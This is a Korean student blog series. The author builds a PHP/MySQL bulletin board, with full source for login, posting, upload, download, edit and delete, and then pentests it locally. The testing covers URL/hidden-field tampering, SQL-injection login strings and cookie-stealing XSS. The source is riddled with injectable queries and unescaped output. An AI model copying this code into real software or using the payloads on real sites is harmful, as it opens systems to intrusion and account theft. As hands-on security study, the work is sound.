ㅎㅇ

웹 해킹 공부 - 인증/권한 우회

songtoy — Sun, 29 Mar 2026 18:09:00 +0900

우선 인증 우회란?

신원확인을 건너뛰어 로그인없이 접근할 수 있도록 하는 공격

그럼 권한(인가) 우회란?

사용자가 권한이 없는 리소스에 접근할 수 있도록 하는 공격

둘 다 로그인 시스템이나 인증 과정에서 취약점을 악용하여 인증을 우회하고 민감한 정보나 기능에 접근할 수 있도록 함

불완전한 인증 로직이나 취약한 세션관리를 악용하는 방식으로 발생함

공격자는 이를 통해 관리자 권한, 비공개 데이터, 민감한 서비스 등에 접근할 수 있음

인증/권한우회를 하는 방법에는 총 7가지가 있음

1. 입력값/파라미터 조작

공격자가 요청 파라미터, 쿠키, 또는 폼 데이터 등을 변조하여 시스템이 이미 로그인된 사용자라고 잘못 인식하도록 만드는 기법

- URL 파라미터 조작

브라우저 주소창을 직접 수정

예) @@@.com/view?id=1 을 변경하여 다른사람의 데이터를 조회

- 숨겨진 폼 필드 수정

HTML폼에서 사용자에게 보이지 않는 <input type="hidden">값을 변경

예) <input type="hidden" name="price" value="1000">을 value="1"로 변경하여 가격 조작

- 쿠키 조작

브라우저에 저장된 쿠키값을 수정하여 사용자 권한을 위조하거나 세션을 하이재킹

예) user=guest -> user=admin

2. SQL인젝션

로그인 입력 필드에 SQL 구문(예: ' or 1=1 -- )을 삽입하여 데이터베이스 쿼리를 조작함으로써 인증 검사를 우회하는 기법

3. JWT 악용

JWT의 페이로드를 변조하거나 서명 검증이 약한 점을 악용하여 다른 사용자(관리자)로 위장하는 기법

4. 강제 브라우징/직접 접근

세션 검증이 제대로 구현되지 않은 내부 URL에 직접 접근하여 인증 절차를 우회하는 기법

5. 응답 변조

서버 응답을 조작하여 다단계 인증과정에서 클라이언트 측 보안 로직이 허위 '성공' 상태를 받아들이도록 만드는 기법

6. 파라미터/세션 하이재킹

세션 쿠키를 수정하여 사용자 ID, 사용자명, 인증 상태 등을 변경함으로써 다른 사용자로 위장하는 기법

7. 취약한 상태 머신

사용자 인증 흐름의 논리적 오류를 악용하는 기법 (예: 비밀번호 확인 후 필수적인 2단계 인증 절차를 건너뛸 수 있는 경우)

여기서 해볼 수 있는건 입력값/파라미터 조작, SQLI, 응답 변조, 파라미터/세션 하이재킹 정도일 것 같네여

제가 만든 php게시판에서 모의해킹을 시도해볼거예요

공격을 시도해보기 전에 앞서서

공격 포인트가 몇개인지 먼저 찾아봅시당

① URL 파라미터 조작(수정, 삭제)

② 글 작성

③ (버프스위트를 통한) 쿠키 조작

④ (버프스위트를 통한) hidden 값 수정

일단 제일 간단한 URL 파라미터 조작!

1로 로그인했고, 관리자가 작성한 글을 수정/삭제 해보려고 함

1이 작성한 글(64)에 들어가서 수정하기 클릭

39번 글의 제목을 ★★★로 변경하고

수정완료 누르기전에 버프로 패킷 가로채기

저기 나와있는 64를 39로 바꿔주고 forward

-> 64번 글은 그대로, 39번 글만 수정됨

삭제도 마찬가지!

삭제버튼 누르면 delete.php로 넘어가는걸 보고 url 파라미터값을 바꾸면 어떻게될까싶어서 해봄

1이 작성하지 않은 56번의 글을 삭제하기위해

127.0.0.1/delete.php?num=56 으로 해봄

삭제됨 ㅡㅡ;

근데 수정은 안된다

그냥 URL 직접 치면 이렇게 뜨고,

내가 작성한 글에서 수정버튼 누른후 수정완료 버튼 누르기 전에

update.php?num=다른번호

로 해도 원래 클릭했던(내가 작성했던) 글만 수정됨

왜안될까???

버프에서 referer은 사용자가 어떤 링크를 통해 페이지에 접속했는지 저장하는 헤더라고 한다

그럼 이걸 고쳐보면 안될까?해서 했는데 결론은 안됨

HTTP 요청 패킷에 포함된 헤더는 값이 변조되거나 없어도 응답 패킷에 영향을 주지 않는다고 한다!

( referer 값이 박히지 않아서 그런듯? )

암튼 update의 num은 히든으로 넘긴 값을 받아오기 때문에 URL을 아무리 바꾼들 실행 안됨 ㅠㅠ

(url이 아니라 폼에서 전달된 값으로 실행되니까)

그럼 히든값을 바꾸면 되려나?!

안됨..ㅠ

근데 이건 왜 안되는지 모르겠다

웩

num=64 or 1=1 도 해봤는데 안되넹

다른사람의 쿠키로 로그인해보자

우선 쿠키탈취를 위해서 크사를 활용해보았다

로그인하면 스크립트 태그로 index.php에 보내주는걸 활용해서

쿠키 탈취하는 코드를 넣어주고 forward를 눌렀더니

암튼 1111사용자에 대한 쿠키를 알아냈다!

이걸 활용해서 1로 로그인한다음에 쿠키값을 바꿔줘보자

바꾸고 로그인

엥

몬소리냐

자꾸 로그인 안된채로 인덱스 창으로 보내져버림

지피티한테 물어보니까 알랴줌,,

이 메시지는 핵심적으로 PHP 세션 처리 방식 때문에 생기는 경고입니다. 단순히 “에러”라기보다, 보안/구현 문제를 알려주는 warning이에요.

왜 이런 메시지가 뜨냐면

당신이 말한 상황:

“다른 사람의 쿠키로 로그인 시도”

이건 내부적으로 세션 하이재킹(Session Hijacking) 시도와 같은 형태인데, PHP가 이를 정상적으로 처리하지 못하면서 경고를 띄운 겁니다.

구체적으로는:

예전 PHP (4.x 시절)는 register_globals 때문에
쿠키 값 → 자동으로 전역 변수에 들어감
그런데 최신 PHP에서는 이게 완전히 막힘
그래서:
- 쿠키에 있는 세션 ID를 넣어도
- 서버가 기대하는 방식으로 세션 데이터가 안 이어짐
그 결과:
“세션이 이상하다 / 옛날 방식 코드 같다” → warning 출력

기술적으로 정리하면

에러 내용의 의미:

session extension does not consider global variables as a source of data
→ 전역변수로 세션을 처리하던 방식은 더 이상 안 됨
register_globals is disabled
→ 쿠키/GET/POST 값이 자동으로 변수화되지 않음
session.bug_compat_42
→ 옛날 방식 호환 옵션 (거의 안 씀)

중요한 포인트

이건 단순한 버그가 아니라:

세션이 서버 상태와 맞지 않다는 신호

즉, 다음 중 하나일 가능성이 큼:

쿠키에 있는 PHPSESSID만 바꿨는데
서버 세션 파일이 없음
IP / User-Agent / 보안 토큰이 안 맞음
세션 내부에 추가 검증 로직 있음
애초에 세션이 이미 만료됨

결론

이 메시지는 이렇게 이해하면 정확함:

“그 쿠키로는 정상적인 세션을 만들 수 없다 (또는 코드가 구식이다)”

현실적으로는

요즘 서비스들은 보통:

세션 + IP 체크
세션 + User-Agent 체크
CSRF 토큰
추가 인증

이런 걸 같이 쓰기 때문에
쿠키만 복사해서 로그인하는 건 거의 안 됨

그렇다네요

회원가입할때 ID를 admin' and '1'='1' #로 해보면

admin계정으로 로그인되지않을까 해서 해보았으나 안됨

admin" and 1=1 # 로도 해봤ㄴ느데 안된당

당연히 or도 안됨

근데 하다보니까 웃긴걸 발견했다ㅡㅡ

무슨 아이디로 로그인하든간에 PHPSESSID값이 다 똑같네??????

어떻게 이럴수가???????????

찾아보니까

이렇게만 돼있어서 그랬나봄..

setcookie 추가해줬더니

쿠키값이 달라지는걸 확인할 수 있었다~~~

그럼 혹시!!! 이제 쿠키값만가지고 다른 사용자로 로그인이 될까?

해서 해봤는뎅

여전히 안되네 까비

이거땜에 안된건 아니엿슨..

웹 해킹 공부 - XSS

songtoy — Sun, 8 Mar 2026 21:10:16 +0900

XSS란 악의적인 사용자가 공격하려는 사이트에 스크립트를 넣는 기법이다.

공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며,

보통 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취한다.

XSS는 세가지의 방식이 있다.

1. Reflected XSS : 사용자가 보낸 입력이 서버 응답에 반영되어 브라우저에서 스크립트가 실행되도록 하는 공격

2. Stored XSS : 공격자가 입력한 악성 스크립트가 서버에 저장되고, 해당 데이터를 조회하는 사용자의 브라우저에서 실행되도록 하는 공격

3. DOM-based XSS : 사용자 입력값이 클라이언트(JavaScript)에 의해 DOM에 삽입되면서 스크립트가 실행되는 공격

우선 JS는 잘 몰라서,, Reflected XSS와 Stored XSS 먼저 시도해봐야겠다!

XSS 공격 포인트를 우선 찾아보자~~~~

① 본문

② 제목

③ 닉네임

④ 검색창

⑤ URL

이정도가 될거같음,,

우선 본문, 제목은 스크립트 실행되는거 확인함!

버프스위트로 response값 바꿔서하는것두 된당

게시판에서 작성자도 조회되니까

닉네임을 script 태그로 만들면 어떨까 싶어서 시도해봤음

버프로 값 바꿔서 하는건 잘 됨!

애초에 회원가입할때 닉네임을 스크립트 태그로 하면 어케될까 싶어서 해봄

로그인하면 원래 'ㅇㅇ님 안녕하세요!' 라고 떠야하는데 아무것도 안뜸

직접 URL을 쳐서 글 작성 페이지로 들어가면

이렇게 뜸 ㅜㅜ

writeok.php를 쳐서 들어가니

글 작성 성공 창이 뜨면서 게시판으로 보내주는데

게시판이 이렇게 엉망 진창이 되어버렸다ㅠ

SQL로 데이터 삭제해서 원상복구함

근데 스크립트 태그가 실행되니까 이런 결과가 나온거아닐까?!

게시판도 intercept해서 alert창 띄우는거 다 가능함!!

번호, 작성자, 작성일, 조회수 등등 다 XSS 공격이 가능하다

파일명을 바꿔도 alert창이 실행된다

URL에는 스크립트 태그가 안먹힌다

검색창도 안먹힌당

reflected는 대체 어케하는걸까ㅜㅜ

그냥 로그아웃하면 뜨는 alert 창을 버프스위트로 intercept해서 쿠키 탈취하기 해봤다

공격자 서버로 쿠키값이 들어온걸 확인할 수 있었당

짱신기 ㅋ

script 말고도 할수있는게 머가있을까 싶어서 쭉 해봄

일단 걍 input태그도 들어가고요,,;;

제목에 alert태그를 넣어보쟈

잘뜨네여

본문은 안됨

그리구 이상하게 수정/삭제 창이 안뜬다

prompt

confirm(1)임~~<>는 오타

confirm

PHP + MySQL 게시판 제작 - 게시글 수정

songtoy — Mon, 16 Feb 2026 23:11:21 +0900

삭제는 너무너무 쉽고.. 간단하고.... 사랑스러웠는데

수정은 진짜

하면서 내가 이렇게 빡대가리였나 싶고,,,

사실 수정도 그냥 글이랑 내용만 수정하면 쉽지만

파일이 들어가는 순간 지옥을 맛봤어요

결과

사실 아직도 정확히 이해 못한거같음;;

~~글고 기존파일삭제에 체크하면 팝업창으로~~

~~[새 파일 선택 시 기존 파일은 자동으로 삭제됩니다]~~

~~이거 띄우고싶었는데 이건 자바스크립트라 그래서 패스...~~

기존 파일이 존재하면

1. 기존 파일 삭제에 체크하거나

2. 다른 파일로 바꾸기 위해서는

기존 파일을 DELETE 해줘야함

기존파일 삭제에 체크해서 DELETE하는거 까진 이해했음

근데 다른 파일로 바꾸는게 진짜 개어려웠는데

계속 UPDATE만 하려고하니까

기존파일 삭제했는데 어떻게 UPDATE를 하지?

UPDATE하려면 기존 file_id가 있어야하는데

하느라 진전이 없었다ㅠㅠ

결국엔 UPDATE가 아니라 INSERT로 타협봄

[ update.php ]

<?php
	include 'lib.php';
	$num = $_GET['num'];
	$sql = "SELECT * FROM board LEFT JOIN file_upload ON board.file_id = file_upload.file_id WHERE num=$num";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title><?php echo $row['title']; ?></title>
</head>

<body>
<?php
	if ($_SESSION['name'] == $row['name']) { ?>
	<form method="POST" action="updateok.php" enctype="multipart/form-data">
	<input type="hidden" method="POST" name="num" value="<?= $row['num']; ?>">
		<table border=1>
		<tbody>
			<tr>
				<td>이름</td>
				<td><?= $row['name']; ?></td>
			</tr>
			<tr>
				<td>제목</td>
				<td><input type="text" name="title" style="width:700px" value="<?php echo $row['title'];?>"></td>
			</tr>
			<tr>
				<td>내용</td>
				<td><textarea name="content" style="width:700px; height: 500px;"><?php echo $row['content'];?></textarea></td>
			</tr>
			<tr>
				<td>파일</td>
				<td><?php if ($row['file_id']) { ?>
					<?= $row['file_name']; ?>
					<input type="checkbox" name="file_delete">기존 파일 삭제<br>
				<font color="red">(새 파일 선택 시 기존 파일은 자동으로 삭제됩니다)</font><br><?php } ?>
					<input type="file" name="upload_file"></td>
			</tr>
		</tbody>
		</table>
		<br>
		<input type="submit" value="수정하기">
		</form>
		<?php } else {
		echo "<script>alert('수정은 본인만 가능합니다'); window.location.href='index.php';</script>";
	}
	?>
</body>
</html>

[ updateok.php ]

<?php
	include 'lib.php';
	$num = $_POST['num'];
	$title = $_POST['title'];
	$content = $_POST['content'];
	
	$result = mysqli_query($conn, "SELECT * FROM board WHERE num = '$num'");
	$row = mysqli_fetch_assoc($result);
	$old_file_id = $row['file_id'];
	
	mysqli_query($conn, "UPDATE board SET title='$title', content='$content' WHERE num='$num'");
	
	if (isset($_POST['file_delete']) || ($_FILES['upload_file']['error'] == 0)) {
		
		if ($old_file_id != NULL) {
			$f = mysqli_query($conn, "SELECT * FROM file_upload WHERE file_id = '$old_file_id'");
			$file_row = mysqli_fetch_assoc($f);
		
			unlink("./uploads/".$file_row['file_save']);
			mysqli_query($conn, "DELETE FROM file_upload WHERE file_id='$old_file_id'");
		}
			mysqli_query($conn, "UPDATE board SET file_id = NULL WHERE num = '$num'");
	}
	
	if ($_FILES['upload_file']['error'] == 0) {
		
		$filename = $_FILES['upload_file']['name'];
		$tmp_name = $_FILES['upload_file']['tmp_name'];
		$e = substr($filename, strrpos($filename, '.') + 1);
		
		$new_file_id = md5(uniqid(rand(), true));
		$path = $new_file_id.'.'.$e;
			
		$folder = "./uploads/$path";
			move_uploaded_file($tmp_name, $folder);
			
			mysqli_query($conn, 
			"INSERT INTO file_upload(file_id, file_name, file_save, up_time) VALUES ('$new_file_id', '$filename', '$path', now())");
			mysqli_query($conn, "UPDATE board SET file_id = '$new_file_id' WHERE num = '$num'");
	}
	mysqli_close($conn);
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>수정</title>
</head>

<body>
<script>alert('수정되었습니다'); window.location.href='view.php?num=<?php echo $num ?>';</script>
</body>
</html>

뭘 하나 건드리면 하나 안되고...

update가 잘 되니까 view가 안되고..

엉망진창이었다ㅠㅠㅠ

계속 맞게한거같은데 안돼서 지피티한테 물어보니까

이번엔 중괄호 위치가 잘못됐다그러구,,

그래도 여차저차 되긴됐다는게 넘 신기..........

PHP + MySQL 게시판 제작 - 게시물 삭제

songtoy — Mon, 16 Feb 2026 22:25:51 +0900

삭제는 쉬움..

[ delete.php ]

<?php
	include 'lib.php';
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>삭제</title>
</head>

<body>
<?php
	if (isset($_SESSION['id'])) { ?>
	<script>
	if (confirm('정말 삭제하시겠습니까?')) {
		window.location.href='deleteok.php?num=<?php echo $_GET['num'];?>';
		} else { history.back();
	};
	</script>
	<?php } else {
		echo "<script>alert('삭제는 본인만 가능합니다'); window.location.href='index.php';</script>";
	}
	?>
</body>
</html>

[ deleteok.php ]

<?php
	include 'lib.php';
	$num = $_GET['num'];
	$sql = "DELETE FROM board WHERE num=$num;";
	mysqli_query($conn, $sql);
	
	mysqli_close($conn);
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>삭제</title>
</head>

<body>
<script>alert('삭제되었습니다'); window.location.href='board.php';</script>
</body>
</html>

삭제는 너무너무 쉬웠어요...........................

이제 무시무시한 수정이 기다리고있음

PHP + MySQL 게시판 제작 - 파일 다운로드

songtoy — Mon, 16 Feb 2026 17:29:08 +0900

첨부파일을 누르면 파일이 저장된다

결과

파일 다운로드 기능이 제일제일 어려웠다

흑흑

[ download.php ]

<?php
include 'lib.php';

$file_id = $_GET['file'];

$sql = "SELECT * FROM file_upload WHERE file_id = '$file_id'";
$result = mysqli_query($conn, $sql);
$row = mysqli_fetch_assoc($result);

$file_name = $row['file_name'];
$file_save = $row['file_save'];

$file_path = "./uploads/".$file_save;

header("Content-Type:application/octet-stream");
header("Content-Length:".filesize($file_path));
header("Content-Disposition:attachment;filename=$file_name");

readfile($file_path);
exit;

?>

Content-type : application/octet-stream

파일의 콘텐츠유형을 알 수 없을 때 파일을 바이너리 형식(0과 1의 구조로 저장)으로 처리하도록 하는 것

이 타입을 받은 브라우저는 파일을 렌더링하지 않고 강제로 다운로드하게 한다

사용자가 업로드한 파일이 HTML, JS같은 파일이면 브라우저가 렌더링하면서 스크립트가 실행될 수 있기 때문에

보안목적으로 넣는거라고 생각하면 됨

Content-Length : filesize

전송될 파일의 총 바이트 크기를 나타내며 다운로드 진행률 표시가 가능하다!

Content-Disposition : attachment

무조건 다운로드하라는 의미

이게 없으면

PHP파일이 저장되고

요렇게 떠버린당

휴

PHP + MySQL 게시판 제작 - 게시글 조회

songtoy — Mon, 16 Feb 2026 16:43:33 +0900

이제 작성한 글을 조회하는 창을 만들어보쟈

결과

게시판 리스트에서 제목 누르면

작성된 글을 볼 수 있는 기능!

파일이 있으면 파일도 볼 수 있고!

다운로드도 받을 수 있다!!

[ view.php ]

<?php
	include 'lib.php';
	$num = $_GET['num'];
	$sql = "SELECT * FROM board LEFT JOIN file_upload ON board.file_id = file_upload.file_id WHERE num=$num";
	$result = mysqli_query($conn, $sql);
	$row = mysqli_fetch_assoc($result);
	$num = $row['num'];
	mysqli_query($conn, "UPDATE board SET count = count + 1 WHERE num = $num");
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>
		<?php echo $row['title']; ?>
	</title>
</head>

<body>
<?php
	if (isset($_SESSION['id'])) { ?>
<input type="hidden" name="num" value="<?php $row['num']; ?>">
<h1><a href="board.php" style="text-decoration:none">게시판</a></h1>
<table border=1>
	<tr>
		<td>제목</td>
		<td><?php echo $row['title']; ?></td>
	</tr>
	<tr>
		<td>작성자</td>
		<td width=600><?php echo $row['name']; ?></td>
	</tr>
	<tr>
		<td>작성일</td>
		<td width=600><?php echo $row['day']; ?></td>
	</tr>
	<tr>
		<td>내용</td>
		<td width=600 height=400><?php echo $row['content']; ?></td>
	</tr>
	<tr>
		<td>파일</td>
		<td width=600><a href="download.php?file=<?php echo $row['file_id']; ?>"><?php echo $row['file_name']; ?></a></td>
	</tr>
</table>
<?php } else {
		echo "<script>alert('회원만 접근할 수 있는 글입니다'); window.location.href='index.php';</script>";
	}
	?>
<br><button type="button" onclick="location.href='board.php'">글 목록</button>
<?php
if ($row['name']== $_SESSION['name'] ) { ?>
<button type="button" onclick="location.href='update.php?num=<?php echo $row['num'] ?>'">수정하기</button>
<button type="button" onclick="location.href='delete.php?num=<?php echo $row['num'] ?>'">삭제하기</button>	
<?php } else {}; ?>
</body>
</html>

file_upload 테이블과 board 테이블 조인해서 file_id가 같은 title, content 등 갖고오기

그리구 view 한번 할때마다 count +1 해서 조회수 UPDATE

이것도 게시판과 마찬가지로 회원만 조회할 수 있도록 세션값이 없으면 index창으로 보내버렸다

그리고 본인이 아니면 수정, 삭제 버튼이 아예 안뜨게

세션값과 작성자 일치 여부 확인!

PHP + MySQL 게시판 제작 - 게시글 작성 (+파일 업로드)

songtoy — Mon, 16 Feb 2026 16:32:25 +0900

게시판을 보려면 게시글이 있어야지!

결과

이름은 세션값으로 끌고온다!!

제목하고 내용, 첨부파일이 있다면 첨부파일까지 다 DB로 넘기기

그 전에 파일 업로드를 위한 테이블 먼저 생성

CREATE TABLE file_upload (
file_id VARCHAR(255) PRIMARY KEY,
file_name VARCHAR(255) NOT NULL,
file_save VARCHAR(255) NOT NULL,
up_time TIMESTAMP DEFAULT CURRENT_TIMESTAMP);

file id는

게시물 작성할때 다른 파일을 중복된 이름으로 저장하면

기존에 저장돼있던 파일 위에 덮어씌워지기때문에 그런 오류를 방지하기 위해

랜덤값으로 이름을 저장하는데 그 이름을 저장하기 위한 컬럼이구

file name은

작성자가 게시할때 올린 첨부파일명을 저장하기 위한 컬럼

file save는 파일이 저장되는 경로명을 저장하기 위한 컬럼이다!

[ write.php ]

<?php
include 'lib.php';
?>

<!DOCTYPE html>
<html>
	<head>
		<meta charset='UTF-8'>
		<title>글쓰기</title>
	</head>
	
	<body>
		<form name="board" method="POST" action="writeok.php" enctype="multipart/form-data">
		<table border=1>
		<tbody>
			<tr>
				<td>이름</td>
				<td>
					<?php 
						echo $_SESSION['name'];
					?>
				</td>
			</tr>
			<?php
			if ($_SESSION['name'] == '관리자') { ?>
			<tr>
				<td>구분</td>
				<td>
					<select name="type">
						<option value="notice">공지사항</option>
						<option value="content">일반글</option>
					</select>
				</td>
			</tr>
			<?php } else {} ?>
			<tr>
				<td>제목</td>
				<td><input type="text" name="title" style="width:700px"></td>
			</tr>
			<tr>
				<td>내용</td>
				<td><textarea name="content" style="width:700px; height: 500px;"></textarea></td>
			</tr>
			<tr>
				<td>파일</td>
				<td><input type="file" name="upload_file"></td>
			</tr>
		</tbody>
		</table><br>
		<input type="submit" value="저장하기">
		</form>
	</body>
</html>

아 그리고

작성자가 '관리자'일 때는

공지사항으로 작성할건지, 일반글로 작성할건지 선택하는 것두 있슨..

요로케요

(이건 관리자일때만 뜸)

암튼 이렇게 글을 작성하면

이 글을 DB로 넘겨줘야겠죵

[ writeok.php ]

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
</head>
<body>
<?php
include 'lib.php';
	
	$title = $_POST['title'];
	$content = $_POST['content'];
	$day = date("Y.m.d");
	$name = $_SESSION['name'];
	$type = isset($_POST['type']) ? $_POST['type'] : 'content';
	$notice = ($type == 'notice') ? 1 : 0;
	$file_id = NULL;

	if ($_FILES['upload_file'] != NULL ){
		$tmp_name = $_FILES['upload_file']['tmp_name'];
		$filename = $_FILES['upload_file']['name'];
		$error = $_FILES['upload_file']['error'];
		
		if ($error == 0) {
			
			$e = substr($filename, strrpos($filename, '.') + 1);
			$file_id = md5(uniqid(rand(), true));
			$path = $file_id.'.'.$e;
			
			$folder = "./uploads/$path";
			move_uploaded_file($tmp_name, $folder);
			
			mysqli_query($conn, 
			"INSERT INTO file_upload (file_id, file_name, file_save, up_time, notice) VALUES ('$file_id', '$filename', '$path', now(), '$notice');");
	}}
	
	$q = "INSERT INTO board (name, title, content, day, count, file_id, notice) VALUES ('$name', '$title', '$content', '$day', 0, '$file_id', '$notice')";		
	$result = mysqli_query($conn, $q);
	
	if ($result) {
		echo "<script>alert('글 작성 성공!'); window.location.href='board.php';</script>";
		} else {
		echo "글 작성 오류: ".mysqli_error($conn);
		}
		
	mysqli_close($conn);
?>
</body>
</html>

이게 진짜 어려웠는데

계속 맞게 한거같은데 저장되는 파일명이 $filename 으로 되는거임

보니까

$folder = './uploads/$path';

로 해서.. 안되는거였당

싱글쿼터는 변수 해석 안하고 문자열 그대로 출력하고,

더블쿼터는 변수를 해석해서 변수 치환을 해준다고함

큰따옴표로 바꿔주니까 파일 다운로드할때 파일명이 정상적으로 들어왔다

글고 아무리 공지사항으로 글을 작성해도 content로 넘어가!!!!!!!!!!!!

알고보니 그 전에는 if문으로
file이 있으면..~ "INSERT INTO 어쩌구" else

또 if 써서 공지사항이면~ "INSERT INTO 어쩌구...."

이렇게했더니 코드가 자꾸 꼬여서 file있을때의 sql 쿼리에는 notice 컬럼 안넣구

또 공지사항이 아닐때의 쿼리에도 notice 컬럼 빼먹고 이런식으로 복잡해져버려서ㅜㅜ

지피티의 도움을 받아서 삼항연산자 썼더니 코드도 간단해지구,,, 그랬어요

따봉 지피티야 고맙다~

PHP + MySQL 게시판 제작 - 게시판 검색 기능

songtoy — Mon, 16 Feb 2026 16:05:30 +0900

결과

게시판에서 제목에 a라고 검색하면 a 게시물만 나오게!

[ search.php ]

<?php
include 'lib.php'
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>게시판</title>
</head>
<body>
	<h1><a href="board.php" style="text-decoration:none">게시판</a></h1>
	<table border=1>
		<thead>
			<tr>
				<th width=50>번호</th>
				<th width=400>제목</th>
				<th width=80>작성자</th>
				<th width=100>작성일</th>
				<th width=50>조회수</th>
			</tr>
		</thead>
		<tbody>
			<?php
				$search = $_POST['search'];
				$type = $_POST['type'];
				$sql = "SELECT * FROM board WHERE $type = '$search' ORDER BY num DESC;";
				$result = mysqli_query($conn, $sql);
				
				while($row = mysqli_fetch_assoc($result)) {
					echo "<tr>";
					echo "<td>".$row['num']."</td>";
					echo "<td><a href='view.php?num=".$row['num']."'>".$row['title']."</a></td>";
					echo "<td>".$row['name']."</td>";
					echo "<td>".$row['day']."</td>";
					echo "<td>".$row['count']."</td>";
					echo "</tr>";
					}
				
				mysqli_close($conn);
			?>
		</tbody>
	</table>
	<br>
	<form method="POST" action="search.php">
	<select name="type">
		<option value="title">제목</option>
		<option value="name">작성자</option>
	</select>
	<input type="text" name="search" style="width:570px">
	<input type="submit" value="검색하기">
	</form>
	<br>
	<button type="button" onclick="location.href='write.php'">글 작성</button>
	<button type="button" onclick="location.href='index.php'">메인화면</button>
</body>
</html>

근데 지금 보니까 검색어랑 정확하게 일치를 해야 검색해주네여

한글자만 들어가도 검색될수있게 바꿔야겠당

그럼

SELECT * FROM board WHERE $type = '$search' ORDER BY num DESC;

이 구문을

SELECT * FROM board WHERE $type = '%$search%' ORDER BY num DESC;

이렇게 바꾸면되려나?

안되네

찾아보니까 =가 아니구 like를 써야했다 ㅎㅎ;ㅎㅎ;ㅎ;ㅎ;ㅎㅎㅎ;;ㅎ;ㅎ;ㅎ

a만 검색했는데 다 나오는 이유가 멀까

ㅠㅠ

인코딩도 다 했는데

뭐가 문제인지 모르겠지만 자꾸 한글이 깨진당

특수문자도 깨지구,,.........................................

지피티한테 물어보니까 mysql 버전 문제라고 다시 까는수밖에 없다고함;;;;;

일단 이건 제쳐두고 다른거 먼저 해야겠당

PHP + MySQL 게시판 제작 - 게시판 리스트

songtoy — Mon, 16 Feb 2026 15:48:57 +0900

결과

우선 테이블을 먼저 만들어야겠죵

CREATE TABLE board (
num INT AUTO_INCREMENT PRIMARY KEY,
title CHAR(150) NOT NULL,
content text NOT NULL,
day CHAR(20) NOT NULL,
count INT(11) NOT NULL,
name CHAR(20),
file_id VARCHAR(255),
notice tinyint(1) DEFAULT 0);

자료형이 CHAR이었다가 VARCHAR였다가 아주 제멋대로인 이유는

여러개의 블로그를ㄹ 참조했기 때문인데요.....

님들은 이렇게 하지마세요

저는 조회수도 보여지게 하고싶어서 count 컬럼하구

파일 업로드 기능도 구현할거기때문에! file_id와

공지사항 기능도 넣고싶어서 notice 컬럼도 넣었답니당

HTML 폼 만들어주기~~

[ board.php ]

<?php
include 'lib.php'
?>

<!DOCTYPE html>
<html>
<head>
	<meta charset="UTF-8">
	<title>게시판</title>
</head>
<body>
<?php
	if (isset($_SESSION['id'])) { ?>
	<h1><a href="board.php" style="text-decoration:none">게시판</a></h1>
	<table border=1>
		<thead>
			<tr>
				<th width=50>번호</th>
				<th width=400>제목</th>
				<th width=80>작성자</th>
				<th width=100>작성일</th>
				<th width=50>조회수</th>
			</tr>
		</thead>
		<tbody>
			<?php
				$notice_sql = "SELECT * FROM board WHERE notice = 1 ORDER BY num DESC LIMIT 3;";
				$sql = "SELECT * FROM board WHERE notice = 0 ORDER BY num DESC;";
				$notice_result = mysqli_query($conn, $notice_sql);
				$result = mysqli_query($conn, $sql);
				
				while($row = mysqli_fetch_assoc($notice_result)) {					
					echo "<tr style='background: #ffeeba;'>";
					echo "<td>".$row['num']."</td>";
					echo "<td><a href='view.php?num=".$row['num']."'>".$row['title']."</a></td>";
					echo "<td>".$row['name']."</td>";
					echo "<td>".$row['day']."</td>";
					echo "<td>".$row['count']."</td>";
					echo "</tr>";
				}
				while($row = mysqli_fetch_assoc($result)) {					
					echo "<tr>";
					echo "<td>".$row['num']."</td>";
					echo "<td><a href='view.php?num=".$row['num']."'>".$row['title']."</a></td>";
					echo "<td>".$row['name']."</td>";
					echo "<td>".$row['day']."</td>";
					echo "<td>".$row['count']."</td>";
					echo "</tr>";
				}
				
				mysqli_close($conn);
			?>
		</tbody>
	</table>
	<br>
	<form method="POST" action="search.php">
	<select name="type">
		<option value="title">제목</option>
		<option value="name">작성자</option>
	</select>
	<input type="text" name="search" style="width:570px">
	<input type="submit" value="검색하기">
	</form>
	<br>
	<button type="button" onclick="location.href='write.php'">글 작성</button>
	<button type="button" onclick="location.href='index.php'">메인화면</button>
	<?php } else {
		echo "<script>alert('회원만 접근할 수 있는 게시판입니다'); window.location.href='index.php';</script>";
	}
	?>
</body>
</html>

로그인 하지 않으면 (세션값으로 id 안넘어오면) 아예 게시판 접근도 못하게 막아버렸고요

게시판 리스트 맨 위에 세 개는 항상 공지사항이 뜰 수 있게 만들었어용

공지사항인거 알아보기 쉽게 노랑색으로 하이라이트도 줌

우하하

PHP + MySQL 게시판 제작 - 로그인 & 로그아웃

songtoy — Mon, 16 Feb 2026 15:32:17 +0900

회원가입 창을 만들었으니 로그인 창을 구현해야겠쥬

결과

[ login.php ]

<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
	<title>로그인</title>
</head>

<body>
	<form action="loginok.php" method="POST">
	<p>ID <input type="text" name="id" placeholder="아이디를 입력해주세요"></p>
	<p>PW <input type="password" name="pw" placeholder="비밀번호를 입력해주세요"></p>
	<p><input type="submit" value="로그인"></p>
	<button type="button" onclick="location.href='register.php'">회원가입</button>
	</form>
</body>
</html>

로그인 폼은 간단하게,, 만들구 요걸 POST로 보내줍니당

[ loginok.php ]

<?php
	include 'lib.php';
?>

<!DOCTYPE html>
<html>
<meta charset="UTF-8">
<head>
<title>로그인</title>
</head>

<body>
	<?php
		if ($_SERVER["REQUEST_METHOD"] == "POST") {
			$id = $_POST['id'];
			$pw = $_POST['pw'];			
	
			$sql = "SELECT * FROM user WHERE ID='$id' AND pass='$pw'";
			$result = mysqli_query($conn, $sql);

			if (mysqli_num_rows($result) == 1) {
				
				$row = mysqli_fetch_assoc($result);
				
				$_SESSION['id'] = $row['id'];
				$_SESSION['name'] = $row['name'];
				
				echo "<script>window.location.href = 'index.php';</script>";
			
			} elseif (mysqli_num_rows($result) == 0) {
				echo "<script>alert('존재하지 않는 아이디거나 비밀번호 오류입니다'); history.back();</script>";
			}}
	?>
